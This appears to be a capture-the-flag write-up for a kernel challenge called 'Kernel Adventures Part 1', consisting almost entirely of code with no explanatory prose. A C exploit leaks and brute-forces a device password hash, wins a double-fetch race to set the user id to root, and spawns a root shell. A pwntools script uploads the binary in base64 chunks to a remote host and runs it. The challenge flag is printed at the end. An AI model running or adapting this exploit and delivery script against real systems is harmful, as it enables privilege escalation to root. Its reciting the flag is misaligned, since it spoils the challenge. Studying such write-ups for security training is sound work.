Kernel Adventures Part 1
Explanation
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// Compile with: musl-gcc -static -o exploit exploit.c
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int fd;
bool finished = false;
uint32_t hash;
struct user_data {
uint32_t id;
uint32_t password;
uint32_t zero; // Null terminate the above password
};
struct user_data user;
void open_device() {
printf("[*] Opening device...");
fd = open("/dev/mysu", O_RDWR);
if (fd < 0) {
perror("open");
exit(-1);
}
printf("fd = %d\n", fd);
}
void get_shell() {
if (getuid() == 0) {
puts("[+] We are root!");
system("/bin/sh");
exit(0);
} else {
puts("[X] Oops! Not root.");
exit(-1);
}
}
void *reset(void *arg) {
while (!finished) {
user.id = 1000;
}
return NULL;
}
void *set(void *arg) {
while (!finished) {
user.id = 0;
}
return NULL;
}
void race() {
puts("[*] Starting race...");
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &reset, NULL);
pthread_create(&t2, NULL, &set, NULL);
user.zero = 0;
while (getuid() != 0) {
write(fd, &user, 8);
}
finished = true;
puts("[+] Race won!");
pthread_join(t1, NULL);
pthread_join(t2, NULL);
}
void leak_hash() {
int arr[2];
read(fd, arr, sizeof(arr));
hash = arr[1];
printf("[!] Hash leak: %#x\n", hash);
}
__attribute__((optimize(3))) void crack_hash() {
puts("[*] Cracking hash...");
uint32_t calc_hash = 0;
uint32_t candidate = 0;
while (calc_hash != hash) {
candidate++;
calc_hash = 0;
for (int i = 0; i < 4; i++) {
calc_hash += (int)*((char *)&candidate + i);
calc_hash += calc_hash << 0xa;
calc_hash ^= calc_hash >> 6;
calc_hash ^= (int)*((char *)&candidate + i);
}
}
printf("[+] Hash cracked...password = %#x\n", candidate);
user.password = candidate;
}
int main(void) {
open_device();
leak_hash();
crack_hash();
race();
get_shell();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from gzip import GzipFile
from io import BytesIO
# Edit these
host = 'localhost'
port = 1337
def chunk_exploit(exploit):
for i in range(0, len(exploit), 500):
yield exploit[i:i+500]
exploit = BytesIO()
with open('./exploit', 'rb') as f_in:
with GzipFile(fileobj=exploit, mode='wb') as f_out:
f_out.write(f_in.read())
exploit = exploit.getvalue()
exploit = b64e(exploit)
io = remote(host, port)
print('waiting for vm to load')
io.recvuntil(b'$')
for chunk in chunk_exploit(exploit):
io.sendline('echo -n "{}" >> exploit.gz.b64'.format(chunk).encode())
io.sendline(b'base64 -d exploit.gz.b64 > exploit.gz')
io.sendline(b'gunzip exploit.gz')
io.sendline(b'chmod +x exploit')
io.sendline(b'./exploit')
io.interactive()
Flag
HTB{C0ngr4ts_y0u_3xpl0it3d_A_D0uBlE-FeTcH}
This post is licensed under CC BY 4.0 by the author.